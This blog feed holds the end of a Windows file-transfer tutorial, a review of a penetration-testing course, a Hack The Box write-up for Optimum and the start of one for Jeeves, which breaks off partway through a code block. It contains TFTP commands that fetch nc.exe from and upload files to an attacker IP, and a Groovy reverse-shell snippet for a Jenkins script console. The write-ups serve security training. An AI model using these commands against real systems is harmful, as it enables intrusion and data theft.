&lt;/div>&lt;p>&lt;img src="22.png" alt="&amp;ldquo;FTP Download of nc.exe&amp;rdquo;">&lt;/p>
&lt;p>As FTP is a common protocol it is usually not blocked on edge firewalls and is a good way to exfiltrate data from a compromised victim.&lt;/p>
&lt;h2 id="tftp">TFTP&lt;/h2>
&lt;p>Thus far Jerry has been more than accommodating, however now it the time where using a fairly modern version of Windows is not an advantage as the &lt;strong>TFTP&lt;/strong> command line utility is no longer installed by default on modern Windows versions.&lt;/p>
&lt;p>It is possible however that an administrator installed it so it is certainly worth a mention, also the &lt;strong>TFTP&lt;/strong> command line utility is still included by default on older versions of Windows such as Windows 2000 and Windows XP.&lt;/p>
&lt;p>For &lt;strong>TFTP&lt;/strong> file transfers to take place a &lt;strong>TFTP server&lt;/strong> is needed. Luckily one is included with Kali.&lt;/p>
&lt;p>The TFTP daemon can be started with the following command and because the TFTP protocol uses port &lt;strong>69&lt;/strong> by default this port is used in the command.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>atftpd --daemon --port &lt;span style="color:#ae81ff">69&lt;/span> ~/how-to
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Downloading a file from the attacking machine with TFTP can be achieved with the following command.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>tftp -i 10.10.14.17 GET nc.exe
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Uploading a file to the attacking machine with TFTP can be achieved with the following command.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>tftp -i 10.10.14.17 PUT nc.exe
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>TFTP is a common protocol to make backups of configuration of network components such as switches and routers and is sometimes enabled within an internal network but is usually filtered at edge firewalls making it less likely to be used to over the internet.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>While advanced tools such as Metasploit make it very easy for attackers to transfer files to and from victim machines using advanced tools may not always be possible.&lt;/p>
&lt;p>Knowing how to transfer files manually using the default tools available on a victim increases your knowledge, flexibility and penetration testing skills, also knowing how to use the manual way has its charm.&lt;/p></description></item><item><title>eLearnSecurity Penetration Testing Professional v4 Review</title><link>https://isroot.nl/2018/07/02/elearnsecurity-penetration-testing-professional-v4-review/</link><pubDate>Mon, 02 Jul 2018 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2018/07/02/elearnsecurity-penetration-testing-professional-v4-review/</guid><description>&lt;blockquote>
&lt;p>This review is about the &lt;a href="https://www.elearnsecurity.com/course/penetration_testing/">eLearnSecurity Penetration Testing Professional v4&lt;/a> (PTP) course. Shortly after I completed the course and exam eLearnSecurity released the PTP v5, an update to the PTP v4 course materials. The plan comparison in this review is for the newer PTP v5 all other sections relate to the now deprecated PTP v4 course materials and exam.&lt;/p>
&lt;/blockquote>
&lt;p>After completing my &lt;a href="https://www.elearnsecurity.com/certification/ejpt/">eLearnSecurity Junior Penetration Tester v3&lt;/a> (eJPT) exam I was eager to learn more about penetration testing and the penetration testing process and methodology. Luckily eLearnSecurity offers a multitude of security courses and their Penetration Testing Professional v4 course seemed like a natural next step on the topic.&lt;/p>
&lt;p>The PTP is a comprehensive hands-on course on professional penetration testing, that focuses on both the practical development and application of penetration testing skills as well as the penetration testing process and methodology. While the PTP course is certainly not cheap I opted to purchase the PTP course because I had a good experience while doing their &lt;a href="https://isroot.nl/2018/06/04/elearnsecurity-penetration-testing-student-v3-review/">eLearnSecurity PTS course&lt;/a> and related eJPT exam.&lt;/p>
&lt;h2 id="plan-comparison">Plan Comparison&lt;/h2>
&lt;p>The PTP course is available in three plans, barebone, full and elite.&lt;/p>
&lt;p>The barebone plan is the PTP entry level offering and offers access to the course slides in HTML5 format. All the plans give lifetime access to the course slides but the video content, labs and &amp;ldquo;PowerShell for Pentesters&amp;rdquo; and &amp;ldquo;Ruby for Pentesters&amp;rdquo; modules are not included in the barebone plan.&lt;/p>
&lt;p>The full plan is the middle of the pack and includes all of the above, the video material, 60 hours of lab access and instructor and community support on the &lt;a href="https://community.elearnsecurity.com/">eLearnSecurity community forums&lt;/a>. While the forums have a low post volume the instructors and community members do respond to questions rather quickly and are helpful and friendly to beginners in the security field. The full plan also includes an eCPPT exam voucher. Take note though as the exam voucher included in this plan expires 180 days after purchase and if it expires you have to purchase a new voucher if you want to take the exam.&lt;/p>
&lt;p>The elite plan has everything included in the full plan and offers 120 hours of lab access. The exam voucher included in this plan does not expire so if you want to take your time with the course materials this is the right plan for you. If you pass the exam this plan has the option to ship your shiny new certificate to your home address in physical form without additional cost.&lt;/p>
&lt;p>The biggest advantage of the elite plan in my opinion is access to the &amp;ldquo;PowerShell for Pentesters&amp;rdquo; and &amp;ldquo;Ruby for Pentesters&amp;rdquo; modules. I have access to the PTP v5 materials and I especially like the addition of the PowerShell content. The elite plan also makes the course content available in a downloadable PDF format making it possible to index the PDF files locally and search through the
materials for reference.&lt;/p>
&lt;h2 id="demo-and-purchasing">Demo and Purchasing&lt;/h2>
&lt;p>Before you purchase the course, you can try out a free &lt;a href="https://www.elearnsecurity.com/course/penetration_testing/">demo&lt;/a> by filling in your name and email address. You get access to a subset of the slide material to see if you like the content.&lt;/p>
&lt;p>When you decide you want to enrol in the course you have to create an account on the eLearnSecurity website when you have done so you can purchase the course. I already had an account and verified my identity once before because of my earlier purchase of the PTS course but still received an email to verify my identity before my PTP purchase was allowed through.&lt;/p>
&lt;p>The identity verification process is straight forward but does require you to upload your ID and credit card information through their web portal so be aware of this before purchase. The verification process took about a day after I uploaded the requested documents this was significantly longer than when I purchased the PTS course so I contacted support to check if they received my documentation and if everything was okay with my purchase. Support replied promptly and let me know everything was in order and a few hours later my documents where verified and I had access to the course material.&lt;/p>
&lt;p>A note on pricing before purchase, the eLearnSecurity website lists pricing without tax, keep this in mind while purchasing the course as they do add tax on checkout if required by law, this can add a significant amount to your bill depending on your location.&lt;/p>
&lt;h2 id="the-course-content">The Course Content&lt;/h2>
&lt;p>&lt;img src="01.png" alt="&amp;ldquo;Course Content&amp;rdquo;">&lt;/p>
&lt;p>The course content is split up in five main modules four of which relate to the exam. The Wi-Fi module is fun and informative and highly recommended if you have or are willing to purchase the required hardware but is not part of the exam itself and if you really want to safe to skip.&lt;/p>
&lt;p>The main modules of the course are:&lt;/p>
&lt;ul>
&lt;li>System Security&lt;/li>
&lt;li>Web App Security&lt;/li>
&lt;li>Wi-Fi Security&lt;/li>
&lt;li>Network Security&lt;/li>
&lt;li>Ruby&lt;/li>
&lt;/ul>
&lt;p>eLearnSecurity also provides additional guiding material on how to handle information during a penetration test and how to write a professional penetration test report. The mind mapping method learned in this material helped me a lot to keep track of information gathered while doing the labs and exam.&lt;/p>
&lt;p>The course content is well made, composed with care and is laid out in such a way that it feels like you naturally progress through a module. This is especially true if you have a plan with video content and lab access and follow along with the videos and labs in between slides.&lt;/p>
&lt;p>As far as I am aware there is no clear guidance on the order the modules should be completed in or with what module to start. While it is tempting to do the modules in order of appearance or follow the order in the syllabus, I recommend doing the modules in the following order to get the most out of the course.&lt;/p>
&lt;ul>
&lt;li>Read the reporting guide&lt;/li>
&lt;li>Read the guide on handling information&lt;/li>
&lt;li>Do the WebApp security module&lt;/li>
&lt;li>Read the guide on handling information again&lt;/li>
&lt;li>Do the network security module&lt;/li>
&lt;li>Do the Ruby module if you have access to it&lt;/li>
&lt;li>Do the System Security Module&lt;/li>
&lt;li>Do the Wi-Fi module if you have the hardware for it&lt;/li>
&lt;li>Read the reporting guide again&lt;/li>
&lt;/ul>
&lt;h2 id="the-videos">The Videos&lt;/h2>
&lt;p>The slides and videos together prepare you well for the labs and exam and while I am not a huge fan of the intro music the videos themselves are well done and solidify the theory you learn in the course slides. In my opinion the videos are worth paying for and warrant a plan upgrade on their own.&lt;/p>
&lt;h2 id="the-labs">The Labs&lt;/h2>
&lt;p>The labs are awesome and honestly the best part of the entire course! Each lab has a lab manual that usually has a short description of the lab scenario, a list of learning objectives, recommended tools to use during the lab and several tasks that help you to reach the labs end goal. Each lab manual also has a section with solutions to complete the lab if you get stuck. I recommend reading and trying the solutions in the labs even if you solved the lab goal on your own as they can give you more insight and another perspective on how to solve the lab challenge.&lt;/p>
&lt;p>There are twenty-two labs in total covering topics such as web application and operating system enumeration and exploitation. Several labs focus on techniques for privilege escalation, pivoting and pillaging. There are also labs on client side exploitation, SQL injection, bypassing anti-virus software and several kinds of man in the middle attacks. The labs cover a wide range of hands on skills and topics that lay a good foundation for any aspiring penetration tester.&lt;/p>
&lt;p>What I really liked about the eLearnSecurity labs is the way they are set up. Each lab is dedicated to you and you do not share the resources with other students. The time you spend in the labs is only counted if you have an active lab scenario running this means you do not have to worry about your purchased lab time ticking away if you are not spending time on the course.&lt;/p>
&lt;p>In short labs are good hands-on experience that help you prepare for the exam and without them I doubt I would have passed the exam on my first try. If you did the labs and completed all of them without leaning on the solutions to much you will pass the practical part of the exam without much trouble.&lt;/p>
&lt;h2 id="study-tips">Study Tips&lt;/h2>
&lt;ul>
&lt;li>Take your time with the course materials&lt;/li>
&lt;li>Become comfortable with and learn to pivot in the labs, thank me later&lt;/li>
&lt;li>Take your time in the labs and do them more than once before attempting the exam&lt;/li>
&lt;li>When doing the labs do not jump to the solutions too quick but try to solve them yourself&lt;/li>
&lt;li>Take some extra time for the materials on handling information, this will benefit you during the exam&lt;/li>
&lt;li>Train the handling of information during your time in the labs, this will benefit you during the exam&lt;/li>
&lt;/ul>
&lt;h2 id="the-exam">The Exam&lt;/h2>
&lt;p>Over all the exam is a really fun and sometimes stressful experience. The exam is a 100 percent practical penetration test on a medium sized company network that is of course vulnerable by design. When starting the exam, you receive a letter- and scope of engagement to perform your penetration test. You have a total of 14 days for the exam, 7 days to perform your penetration test and an additional 7 days to write a professional penetration test report.&lt;/p>
&lt;p>The exam covers all the materials in the course except the Wi-Fi, and Ruby modules. To pass the exam you have to reach a certain goal and find and document all vulnerabilities found along the way. If you studied and understood the course materials and did all the labs those 7 days will be plenty of time to complete your penetration test, reach the exam goal and find a multitude of vulnerabilities along the way to include in your report.&lt;/p>
&lt;p>While most people dread documentation a professional penetration test report is part of the exam and in my experience a great learning opportunity. eLearnSecurity takes the report very seriously, it is graded as part of the exam and can make or break your passing score. Make sure to take your time to write a through report and document all vulnerabilities you found including any proof of concept exploits and remediation steps and you will pass the eCPPT exam.&lt;/p>
&lt;p>For my final report I used a heavily modified version of the &lt;a href="https://github.com/juliocesarfort/public-pentesting-reports/raw/master/OffensiveSecurity/penetration-testing-sample-report-2013.pdf">Offensive Security penetration test report&lt;/a>. If you are in need of inspiration there are several other penetration test reports available publicly, they can be found &lt;a href="https://github.com/juliocesarfort/public-pentesting-reports/">here&lt;/a>.&lt;/p>
&lt;h2 id="exam-tips">Exam Tips&lt;/h2>
&lt;ul>
&lt;li>Do all the labs several times before attempting the exam&lt;/li>
&lt;li>Make yourself a cheat sheet with commands used during the labs&lt;/li>
&lt;li>Use your gained knowledge on persistence, it will come in handy&lt;/li>
&lt;li>Pillage, pillage, pillage! Did I say pillage?&lt;/li>
&lt;li>Revisit the course materials and videos if you are stuck&lt;/li>
&lt;li>Take your time to write and polish your report before submission&lt;/li>
&lt;li>Enjoy the exam like the labs it is a really fun challenge to complete&lt;/li>
&lt;li>Prepare a template penetration test report that you can use to document while doing the exam&lt;/li>
&lt;/ul>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>The PTP course is well suited for IT professionals with a few years&amp;rsquo; experience that want to broaden their knowledge about penetration testing or system and network security in general. A solid background in computer networking, operating systems, and a basic understanding of programming languages will benefit you while going through the course materials.&lt;/p>
&lt;p>The course material itself is informative and to the point. The additional wireless module is fun and worth going through if you have the compatible hardware. All in all, I found the PTP a worthwhile course that expanded my knowledge about penetration testing and system and network security in general. The pricing of the higher paid plans is a bit steep but the additional video content and labs are worth the price.&lt;/p></description></item><item><title>Hack The Box Write-Up Optimum</title><link>https://isroot.nl/2018/06/25/hack-the-box-write-up-optimum/</link><pubDate>Mon, 25 Jun 2018 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2018/06/25/hack-the-box-write-up-optimum/</guid><description>&lt;p>Hack The Box is an online platform that hosts virtual machines that are vulnerable by design to sharpen one&amp;rsquo;s penetration testing and security skills. Gaining system access on the Optimum machine is not very complex as access can be obtained through several known software vulnerabilities. Because of this the Optimum machine serves as a strong reminder of the importance of timely software updates.&lt;/p>
&lt;h2 id="tools-used">Tools Used&lt;/h2>
&lt;ul>
&lt;li>Nmap&lt;/li>
&lt;li>Firefox browser&lt;/li>
&lt;li>Searchsploit&lt;/li>
&lt;li>Python SimpleHTTPServer&lt;/li>
&lt;li>Ncat and Netcat&lt;/li>
&lt;li>Systeminfo command line utility&lt;/li>
&lt;li>GDSSecurity Windows Exploit Suggester&lt;/li>
&lt;li>Wget&lt;/li>
&lt;li>Basic PowerShell commands&lt;/li>
&lt;/ul>
&lt;h2 id="enumeration-nmap">Enumeration: Nmap&lt;/h2>
&lt;p>Running an initial scan with Nmap reveals that port 80 is open.
&lt;img src="01.png" alt="&amp;ldquo;Nmap Initial Scan&amp;rdquo;">&lt;/p>
&lt;p>Running a targeted scan against port 80 with Nmap&amp;rsquo;s default and service enumeration scripts reveals a web server with the service banner &lt;strong>HttpFileServer httpd 2.3&lt;/strong> and a http header of &lt;strong>HFS 2.3&lt;/strong>.&lt;/p>
&lt;p>Furthermore, Nmap guesses the target operating system is Windows.
&lt;img src="02.png" alt="&amp;ldquo;Nmap Service Scan&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-firefox">Enumeration: Firefox&lt;/h2>
&lt;p>A quick visit with the Firefox browser shows an index page with a link to the software&amp;rsquo;s home page.
&lt;img src="03.png" alt="&amp;ldquo;Firefox HFS Index Page&amp;rdquo;">&lt;/p>
&lt;p>Following the link reveals that &lt;strong>HFS&lt;/strong> is a Windows web server specifically designed for file sharing. The software is made by &lt;strong>Rejetto&lt;/strong>.&lt;/p>
&lt;h2 id="exploitation-searchsploit">Exploitation: Searchsploit&lt;/h2>
&lt;p>Using searchsploit with the search parameter &lt;strong>rejetto hfs&lt;/strong> reveals several public exploits that leverage known vulnerabilities in version &lt;strong>2.3&lt;/strong> of the &lt;strong>HFS&lt;/strong> software.
&lt;img src="04.png" alt="&amp;ldquo;Searchsploit Rejetto HFS&amp;rdquo;">&lt;/p>
&lt;p>As Python is my language of choice I copy the Python exploit from the local exploit database to investigate and modify it where necessary.
&lt;img src="05.png" alt="&amp;ldquo;Copy the Python Exploit&amp;rdquo;">&lt;/p>
&lt;p>Inspecting the exploits code and its comments reveals that it depends on a web server do download &lt;strong>nc.exe&lt;/strong> and then leverages &lt;strong>nc.exe&lt;/strong> to establish a reverse shell.
&lt;img src="06.png" alt="&amp;ldquo;Exploit Comments&amp;rdquo;">&lt;/p>
&lt;p>Further inspection of the exploit code reveals a hard coded IP address that needs to be modified to the IP address of the attacking machine.
&lt;img src="07.png" alt="&amp;ldquo;Modify Hard Coded IP Address&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-initial-shell">Exploitation: Initial Shell&lt;/h2>
&lt;p>Preparing the Python &lt;strong>SimpleHTTPServer&lt;/strong> with an &lt;strong>nc.exe&lt;/strong> Windows binary because the exploit downloads and then leverages the &lt;strong>nc.exe&lt;/strong> executable to establish a reverse shell.
&lt;img src="08.png" alt="&amp;ldquo;Preparing the Python SimpleHTTPServer&amp;rdquo;">&lt;/p>
&lt;p>Setting up an &lt;strong>Ncat&lt;/strong> listener on port &lt;strong>443&lt;/strong> to catch the reverse shell connection.
&lt;img src="09.png" alt="&amp;ldquo;Ncat Listener on Port 443&amp;rdquo;">&lt;/p>
&lt;p>Executing the modified Python exploit.
&lt;img src="10.png" alt="&amp;ldquo;Executing the Python Exploit&amp;rdquo;">&lt;/p>
&lt;p>The exploit executes and connects to the Python &lt;strong>SimpleHTTPServer&lt;/strong> to download the &lt;strong>nc.exe&lt;/strong> Windows binary.
&lt;img src="11.png" alt="&amp;ldquo;Nc.exe Download&amp;rdquo;">&lt;/p>
&lt;p>&lt;strong>Nc.exe&lt;/strong> connects back to the &lt;strong>Ncat&lt;/strong> listener on port &lt;strong>443&lt;/strong> creating a low privilege reverse shell as the &lt;strong>Kostas&lt;/strong> user.
&lt;img src="12.png" alt="&amp;ldquo;Low Privilege Reverse Shell&amp;rdquo;">&lt;/p>
&lt;h2 id="privilege-escalation">Privilege Escalation&lt;/h2>
&lt;p>On a Windows system the native &lt;strong>systeminfo&lt;/strong> command can be leveraged to investigate what version of the Windows operating system is running and what Microsoft patches are present.
&lt;img src="13.png" alt="&amp;ldquo;Executing Systeminfo&amp;rdquo;">&lt;/p>
&lt;p>Furthermore the &lt;strong>systeminfo&lt;/strong> output can be used in conjunction with a Python script called &lt;strong>Windows Exploit Suggester&lt;/strong> from &lt;a href="https://github.com/GDSSecurity/Windows-Exploit-Suggester/">GDSSecurity&lt;/a> so the output should be saved locally. This can be achieved with a simple copy and paste action between terminals.
&lt;img src="14.png" alt="&amp;ldquo;Storing Systeminfo Output&amp;rdquo;">&lt;/p>
&lt;p>The &lt;strong>Windows Exploit Suggester&lt;/strong> script compares the output of installed patches from the &lt;strong>systeminfo&lt;/strong> command against the Microsoft vulnerability database making it trivial to get a list of missing patches and thus possible privilege escalation paths.
&lt;img src="15.png" alt="&amp;ldquo;Executing Windows Exploit Suggester&amp;rdquo;">&lt;/p>
&lt;p>The second hit on the &lt;strong>Windows Exploit Suggester&lt;/strong> list is an exploit hosted by the &lt;a href="https://www.exploit-db.com/exploits/41020/">Exploit Database&lt;/a> a well-known and trusted public exploit repository. The exploit specifically targets Windows 8.1 x64 but Windows Server 2012 R2 is closely related to Windows 8.1 and has the same &lt;a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx/">build number&lt;/a> making it highly likely that the suggested exploit also works on Windows Server 2012 R2.
&lt;img src="16.png" alt="&amp;ldquo;Windows Exploit Suggester Results&amp;rdquo;">&lt;/p>
&lt;p>Using searchsploit to verify if the exploit is available locally and copy it.
&lt;img src="17.png" alt="&amp;ldquo;Copying Local Exploit&amp;rdquo;">&lt;/p>
&lt;p>The exploit is a &lt;strong>.c&lt;/strong> file that needs to be compiled before it can be executed. However, reading the exploits comments reveals the exploit database already has a pre-compiled Windows binary available that can be used instead of compiling the exploit locally.
&lt;img src="18.png" alt="&amp;ldquo;Inspecting the Exploit&amp;rdquo;">&lt;/p>
&lt;p>Downloading the exploit from the exploit database and setting up the HTTP server is trivial.
&lt;img src="19.png" alt="&amp;ldquo;Downloading Exploit Binary&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-system">Exploitation: System&lt;/h2>
&lt;p>&lt;strong>PowerShell&lt;/strong> in conjunction with the Python &lt;strong>SimpleHTTPServer&lt;/strong> can be leveraged to download the exploit to Optimum.
&lt;img src="20.png" alt="&amp;ldquo;Downloading Exploit&amp;rdquo;">&lt;/p>
&lt;p>&lt;strong>PowerShell&lt;/strong> downloads the exploit from the Python &lt;strong>SimpleHTTPServer&lt;/strong>.
&lt;img src="21.png" alt="&amp;ldquo;Exploit Download&amp;rdquo;">&lt;/p>
&lt;p>Executing the exploit on Optimum results in system level access and a full compromise of the machine.
&lt;img src="22.png" alt="&amp;ldquo;Executing the Exploit&amp;rdquo;">&lt;/p>
&lt;h2 id="remediation">Remediation&lt;/h2>
&lt;p>Optimum is a good example of the importance of timely software updates. The installed version of the &lt;strong>Rejetto HFS&lt;/strong> server is vulnerable to a known exploit resulting in a low privileged shell on the system. Furthermore the Windows operating system was not updated in a while making it possible to use one of several known privilege escalation exploits to gain system access.&lt;/p>
&lt;p>The following software updates should be installed to mitigate risk.&lt;/p>
&lt;ul>
&lt;li>Update the &lt;strong>Rejetto HFS&lt;/strong> server to the latest version to protect against this specific and other known vulnerabilities&lt;/li>
&lt;li>Update the &lt;strong>Windows operating system&lt;/strong> with the &lt;strong>latest Microsoft patches&lt;/strong> to protect against this specific and other known vulnerabilities&lt;/li>
&lt;/ul>
&lt;p>Furthermore, to protect against known vulnerabilities in the future the following policy changes should be considered.&lt;/p>
&lt;ul>
&lt;li>Implement a software inventory policy and keep this inventory up to date&lt;/li>
&lt;li>Implement a software update policy and patch management life cycle to protect against known vulnerabilities in software&lt;/li>
&lt;/ul></description></item><item><title>Hack The Box Write-Up Jeeves</title><link>https://isroot.nl/2018/06/18/hack-the-box-write-up-jeeves/</link><pubDate>Mon, 18 Jun 2018 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2018/06/18/hack-the-box-write-up-jeeves/</guid><description>&lt;p>Hack The Box is an online platform that hosts virtual machines that are vulnerable by design to sharpen one&amp;rsquo;s penetration testing and security skills. While Jeeves is not a very complex machine to compromise gaining administrative access still requires several offensive techniques that offer an interesting learning experience.&lt;/p>
&lt;h2 id="tools-used">Tools Used&lt;/h2>
&lt;ul>
&lt;li>Nmap&lt;/li>
&lt;li>Firefox browser&lt;/li>
&lt;li>Gobuster&lt;/li>
&lt;li>Ncat and Netcat&lt;/li>
&lt;li>Basic Groovy scripting&lt;/li>
&lt;li>Basic PowerShell commands&lt;/li>
&lt;li>John the Ripper&lt;/li>
&lt;li>KeepassXC&lt;/li>
&lt;li>Pth-Winexe&lt;/li>
&lt;/ul>
&lt;h2 id="enumeration-nmap">Enumeration: Nmap&lt;/h2>
&lt;p>Running an initial scan with Nmap reveals that ports 80, 135, 445 and 50000 are open.
&lt;img src="01.png" alt="&amp;ldquo;Nmap Initial Scan&amp;rdquo;">&lt;/p>
&lt;p>Running a targeted scan against ports 80, 135, 445 and 50000 with Nmap&amp;rsquo;s default and service enumeration scripts reveals a &lt;strong>Microsoft IIS 10&lt;/strong> web server and the &lt;strong>Microsoft RPC&lt;/strong> and &lt;strong>SMB&lt;/strong> services. At this point it is fairly certain that Jeeves is a Windows machine.&lt;/p>
&lt;p>Port 50000 with the service banner &lt;strong>Jetty 9.4.z-SNAPSHOT&lt;/strong> stands out immediately from the other services as this is not a standard service bundled with the Windows operating system.
&lt;img src="02.png" alt="&amp;ldquo;Nmap Service Scan&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-firefox">Enumeration: Firefox&lt;/h2>
&lt;p>A quick Google search leads to a &lt;a href="https://en.wikipedia.org/wiki/Jetty_(web_server)">Wikipedia article&lt;/a> and reveals that &lt;strong>Jetty&lt;/strong> is a Java web server. A visit to the website on port &lt;strong>50000&lt;/strong> with the Firefox browser results in a 404 error page.
&lt;img src="03.png" alt="&amp;ldquo;Jetty 404 Error&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-gobuster">Enumeration: Gobuster&lt;/h2>
&lt;p>Digging a bit deeper a Gobuster scan reveals the &lt;strong>askjeeves&lt;/strong> directory.
&lt;img src="04.png" alt="&amp;ldquo;Gobuster Scan Askjeeves Directory&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-firefox-continued">Enumeration: Firefox Continued&lt;/h2>
&lt;p>Investigating the &lt;strong>askjeeves&lt;/strong> directory reveals a &lt;strong>Jenkins&lt;/strong> installation that exposes administrative functionality without the need to authenticate.
&lt;img src="05.png" alt="&amp;ldquo;Jenkins Installation&amp;rdquo;">&lt;/p>
&lt;p>Browsing around on the Jenkins website reveals a &lt;strong>script console&lt;/strong>.
&lt;img src="06.png" alt="&amp;ldquo;Jenkins Script Console&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-initial-shell">Exploitation: Initial Shell&lt;/h2>
&lt;p>Further investigation of the Jenkins &lt;strong>script console&lt;/strong> reveals that it is possible to run Groovy scripts. This functionality can be leveraged to execute code on the machine.
&lt;img src="07.png" alt="&amp;ldquo;Groovy Script Console&amp;rdquo;">&lt;/p>
&lt;p>Preparing an &lt;strong>Ncat&lt;/strong> listener on port &lt;strong>443&lt;/strong> to catch the connection.
&lt;img src="08.png" alt="&amp;ldquo;Preparing Ncat Listener on Port 443&amp;rdquo;">&lt;/p>
&lt;p>Initiating a connection with the &lt;strong>script console&lt;/strong> to the listener on port &lt;strong>443&lt;/strong> is trivial and can be achieved with the following Groovy script.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-groovy" data-lang="groovy">&lt;span style="display:flex;">&lt;span>String host&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;10.10.14.4&amp;#34;&lt;/span>&lt;span style="color:#f92672">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">int&lt;/span> port&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">443&lt;/span>&lt;span style="color:#f92672">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>String cmd&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;cmd.exe&amp;#34;&lt;/span>&lt;span style="color:#f92672">;&lt;/span>
